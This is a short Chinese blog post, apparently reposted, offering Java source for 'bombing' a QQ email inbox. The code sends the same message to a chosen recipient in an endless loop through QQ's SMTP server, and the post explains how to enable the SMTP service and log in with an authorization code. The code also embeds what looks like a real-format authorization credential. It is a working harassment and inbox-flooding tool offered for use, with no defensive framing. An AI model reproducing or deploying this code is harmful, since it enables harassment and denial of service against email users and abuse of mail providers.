java实现QQ邮箱轰炸式发邮件

来源:互联网 发布:淘宝销量第一店铺名称 编辑:程序博客网 时间:2024/04/29 01:11

今天给大家分享一个Java代码实现QQ邮箱给对方邮箱轰炸式发邮件的源码:需要自己在网上下载一个mail.jar的架包。

import java.util.Properties;
import javax.mail.Authenticator;
import javax.mail.Message;
import javax.mail.MessagingException;
import javax.mail.PasswordAuthentication;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
public class QQEmail {
public static void main(String[] args){
while(true){
  //发件人邮箱
  String from = "1111111111@qq.com";//自己设置
  //收件人邮箱
  String to = "11111111111@qq.com";//自己设置
  //获取系统属性
  Properties properties = System.getProperties();
  //设置邮件的服务器
  properties.setProperty("mail.transport.protocol","smtp");
  properties.setProperty("mail.smtp.host","smtp.qq.com");
        //设置邮件需要密码
  properties.setProperty("mail.smtp.auth","true");
  properties.setProperty("mail.smtp.port","587");
  properties.setProperty("mail.smtp.debug","true");
                //properties.setProperty("mail.smtp.auth",true);
  //建立邮件会话
  Session session = Session.getDefaultInstance(properties, new Authenticator(){
                    public PasswordAuthentication getPasswordAuthentication(){
                        return new PasswordAuthentication("11111111@qq.com", "brruegyugwlubcaa"); // 发件人的帐号和密码
                    }
                });
  try{
          // 创建MimeMessage 对象
          MimeMessage message = new MimeMessage(session);
          // 增加发件人
          message.setFrom(new InternetAddress(from));
          // 增加收件人
          message.addRecipient(Message.RecipientType.TO,
                                   new InternetAddress(to));
          //主题
          message.setSubject("这是标题");
          //正文
          message.setText("hello,world");
          //发送
          Transport.send(message);
          System.out.println("已发送");
                  }catch (MessagingException mex) {
          mex.printStackTrace();
       }
    }
}
}

发送之前记得开通QQ邮箱的部分服务,在QQ邮箱设置的账户中:第一个和第四个,开启服务。记得在代码中用授权码登录,不要用自己的密码。



0 3
原创粉丝点击